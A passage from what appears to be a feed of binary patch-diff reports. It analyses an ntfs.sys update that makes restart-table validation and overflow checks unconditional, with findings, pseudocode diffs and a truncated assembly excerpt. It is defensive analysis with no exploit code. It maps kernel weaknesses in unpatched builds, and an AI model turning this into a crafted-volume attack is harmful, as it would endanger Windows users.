&lt;li&gt;&lt;strong&gt;Not claimed:&lt;/strong&gt; a reproduced pool overflow, the runtime default state of the feature flag in the unpatched build, or any exploitation chain. These could not be determined from the binaries and are not asserted.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;What to verify to raise or lower severity&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;The runtime default of &lt;code&gt;g_Feature_2076398905_59354624&lt;/code&gt; in the unpatched build (enabled-by-default would mean the checks already ran on default retail; disabled-by-default would mean they did not).&lt;/li&gt;
&lt;li&gt;Whether the upstream log-record validators (&lt;code&gt;NtfsCheckLogRecord&lt;/code&gt;, &lt;code&gt;NtfsCheckRestartTable&lt;/code&gt;) already constrain the entry count / VCN fields enough to prevent an out-of-range index reaching &lt;code&gt;PageUpdateAnalysis&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>ntfs.sys — $LogFile restart-table validation and integer-overflow checks made unconditional (CWE-20, CWE-190) — feature gate removed, fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/ntfs_e8144ba0-ntfs-report-20260703-155148.html" rel="alternate"/><published>2026-07-03T00:00:00-07:00</published><updated>2026-07-03T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-07-03:/drift-corpus/item/ntfs_e8144ba0-ntfs-report-20260703-155148.html</id><summary type="html">&lt;p&gt;KB5087538&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;ntfs_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;ntfs_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; &lt;code&gt;0.9922&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; 4047 matched functions, 10 changed functions, 4037 identical functions, and 0 unmatched functions in either direction.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch removes a WIL staging feature gate (&lt;code&gt;g_Feature_2859161914_59426036&lt;/code&gt;, evaluated by &lt;code&gt;EvaluateCurrentState&lt;/code&gt;) from a set of NTFS Log File Service (LFS) restart-table routines. In the unpatched build, several restart-table consistency checks (zero entry-size/count detection, entry-count overflow detection, and a checked-addition on the entry count) only run when that feature evaluates true; when it evaluates false the checks are skipped. The patched build deletes the gate so the checks always run. The change is directionally a hardening: the patched build is strictly stricter. The reachable impact is modest — the affected structures are LFS restart tables (parsed from the &lt;code&gt;$LogFile&lt;/code&gt; restart area during volume mount/recovery), and the one integer-overflow site is fed by internally bounded counts, so no attacker-controlled kernel heap-overflow primitive is demonstrable from these binaries.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;p&gt;All affected routines operate on NTFS &lt;strong&gt;restart tables&lt;/strong&gt; — the fixed-size, pool-allocated bookkeeping tables (open-attribute table, dirty-page table, transaction table) that the Log File Service uses during transaction logging and crash recovery. The on-disk source for the validated table is the volume's &lt;code&gt;$LogFile&lt;/code&gt; restart area, which &lt;code&gt;NtfsCheckRestartTable&lt;/code&gt; parses during mount/recovery.&lt;/p&gt;
&lt;p&gt;The shared mechanism is a single WIL feature descriptor, &lt;code&gt;g_Feature_2859161914_59426036_FeatureDescriptorDetails&lt;/code&gt;, queried through &lt;code&gt;EvaluateCurrentState&lt;/code&gt; — the WIL feature-state evaluator (&lt;code&gt;0x1C0030128&lt;/code&gt; unpatched), &lt;strong&gt;not&lt;/strong&gt; a resource-lock/&lt;code&gt;ERESOURCE&lt;/code&gt; query. In the unpatched build the routines call &lt;code&gt;EvaluateCurrentState&lt;/code&gt; and only execute their consistency checks when it returns non-zero (feature enabled); when it returns zero (feature disabled) the checks are branched over. The patched build removes every one of these calls from the restart-table routines (&lt;code&gt;EvaluateCurrentState&lt;/code&gt; call count drops from 13 to 4), making the checks unconditional. The four remaining calls in the patched build are in an unrelated feature family (&lt;code&gt;NtfsSetAllocationInfo&lt;/code&gt;, &lt;code&gt;NtfsSetEndOfFileInfo&lt;/code&gt;, &lt;code&gt;NtfsSetPositionInfo&lt;/code&gt;) that is still gated in both builds.&lt;/p&gt;
&lt;h3&gt;Finding 1: Gated integer-overflow check on restart-table growth&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Integer Overflow (CWE-190) — defensive check made unconditional&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;NtfsExtendRestartTable&lt;/code&gt; (&lt;code&gt;0x1C0024660&lt;/code&gt; unpatched, &lt;code&gt;0x1C0024640&lt;/code&gt; patched)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; When the feature is disabled, the function computes the new entry count with a direct 32-bit add (&lt;code&gt;add edx, edi&lt;/code&gt;) instead of the overflow-checked &lt;code&gt;RtlULongAdd&lt;/code&gt;. The result feeds &lt;code&gt;InitializeNewTable&lt;/code&gt; (pool sizing) while the subsequent &lt;code&gt;memmove&lt;/code&gt; copies &lt;code&gt;entry_size * old_count&lt;/code&gt; bytes. A wrap would produce an undersized allocation followed by an oversized copy.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reachability:&lt;/strong&gt; Not demonstrably attacker-controlled. The augend is the 16-bit &lt;code&gt;NumberEntries&lt;/code&gt; field (&lt;code&gt;[rbx+2]&lt;/code&gt;, ≤ &lt;code&gt;0xFFFF&lt;/code&gt;); the addend (&lt;code&gt;edi&lt;/code&gt;/&lt;code&gt;arg2&lt;/code&gt;) is a small growth increment supplied by callers (&lt;code&gt;0x10&lt;/code&gt; from &lt;code&gt;NtfsAllocateRestartTableIndex&lt;/code&gt;; a division-derived count in &lt;code&gt;NtfsAllocateRestartTableFromIndex&lt;/code&gt; and &lt;code&gt;PageUpdateAnalysis&lt;/code&gt;). A 32-bit wrap requires an addend near &lt;code&gt;0xFFFFFFFF&lt;/code&gt;, which none of the callers produce. The &lt;code&gt;RtlULongAdd&lt;/code&gt; is therefore a corruption guard, not a reachable heap-overflow primitive.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 2: Gated zero-size / count-overflow checks in restart-table deallocation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Missing Validation of restart-table fields (CWE-20)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;NtfsAllocateRestartTableFromIndex&lt;/code&gt; (&lt;code&gt;0x1C002DC38&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; Two checks are gated: (1) &lt;code&gt;entry_size == 0 || NumberEntries == 0&lt;/code&gt; and (2) the in-use count (&lt;code&gt;[rbx+4]&lt;/code&gt;) reaching &lt;code&gt;0xFFFF&lt;/code&gt; or exceeding &lt;code&gt;NumberEntries&lt;/code&gt; after increment. When the feature is disabled both are skipped. Unchecked, a corrupt &lt;code&gt;entry_size&lt;/code&gt;/count feeds the &lt;code&gt;memset&lt;/code&gt; size and the free-list index arithmetic.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 3: Gated header/count-overflow checks in restart-table allocation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Missing Validation / count overflow (CWE-20)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;NtfsAllocateRestartTableIndex&lt;/code&gt; (&lt;code&gt;0x1C000E124&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; Same pattern as Finding 2: a gated &lt;code&gt;entry_size==0 || NumberEntries==0&lt;/code&gt; check and a gated post-increment count-overflow check (&lt;code&gt;==0xFFFF&lt;/code&gt; or &lt;code&gt;&amp;gt; NumberEntries&lt;/code&gt;). When skipped, the function can return a corrupt free-list index used by callers in pointer arithmetic.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 4: Gated validation path in the on-disk restart-table validator&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Insufficient Validation of on-disk metadata (CWE-20)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;NtfsCheckRestartTable&lt;/code&gt; (&lt;code&gt;0x1C01BC2D4&lt;/code&gt; unpatched, &lt;code&gt;0x1C01BC2C4&lt;/code&gt; patched)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; The validator has two paths selected by the feature gate. With the feature enabled it runs the strong checks (&lt;code&gt;entry_size != 0&lt;/code&gt;, &lt;code&gt;entry_size &amp;lt;= buffer_size&lt;/code&gt;, &lt;code&gt;NumberEntries != 0&lt;/code&gt;, &lt;code&gt;NumberInUse != 0&lt;/code&gt;, and a division-based check that the declared entry count fits the buffer). With the feature disabled it takes a weaker path, and a second gated check inside the free-list traversal (&lt;code&gt;0x1C01BC49E&lt;/code&gt;) relaxes the entry-offset bounds test. This is the routine that parses the attacker-influenceable &lt;code&gt;$LogFile&lt;/code&gt; restart area during mount/recovery, so it carries the most meaningful reachable impact. The patched build removes both gates and always runs the strong path.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;NtfsExtendRestartTable&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED (0x1C0024660) ===&lt;/span&gt;
&lt;span class="c1"&gt;// Feature gate: overflow-checked add only when the feature is ENABLED.&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_Feature_2859161914_59426036&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RtlULongAdd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NumberEntries&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;new_count&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;ExRaiseStatus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;STATUS_DISK_CORRUPT_ERROR&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// 0xC0000032&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;new_count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;NumberEntries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// unchecked 32-bit add&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;InitializeNewTable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_count&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Scb&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_table&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old_table&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NumberEntries&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === PATCHED (0x1C0024640) ===&lt;/span&gt;
&lt;span class="c1"&gt;// Gate removed: overflow-checked add is unconditional.&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RtlULongAdd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NumberEntries&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;new_count&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExRaiseStatus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;STATUS_DISK_CORRUPT_ERROR&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;InitializeNewTable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_count&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Scb&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_table&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old_table&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NumberEntries&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;NtfsAllocateRestartTableFromIndex&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED ===&lt;/span&gt;
&lt;span class="c1"&gt;// Zero-size / count checks gated behind the feature evaluation.&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_Feature_2859161914_59426036&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NumberEntries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExRaiseStatus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;STATUS_DISK_CORRUPT_ERROR&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// SKIPPED when feature disabled&lt;/span&gt;
&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry_size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xffffffff&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;in_use_count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_Feature_2859161914_59426036&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;in_use_count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xffff&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;in_use_count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NumberEntries&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;ExRaiseStatus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;STATUS_DISK_CORRUPT_ERROR&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// SKIPPED when feature disabled&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === PATCHED ===&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NumberEntries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExRaiseStatus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;STATUS_DISK_CORRUPT_ERROR&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry_size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xffffffff&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;in_use_count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;in_use_count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xffff&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;in_use_count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NumberEntries&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExRaiseStatus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;STATUS_DISK_CORRUPT_ERROR&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;(The same unconditional-check restoration applies to &lt;code&gt;NtfsAllocateRestartTableIndex&lt;/code&gt; and to the single-path unification in &lt;code&gt;NtfsCheckRestartTable&lt;/code&gt;, detailed in Section 4.)&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;NtfsExtendRestartTable&lt;/code&gt; (&lt;code&gt;0x1C0024660&lt;/code&gt;, unpatched)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002469E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;g_Feature_2859161914_59426036_FeatureDescriptorDetails&lt;/span&gt;
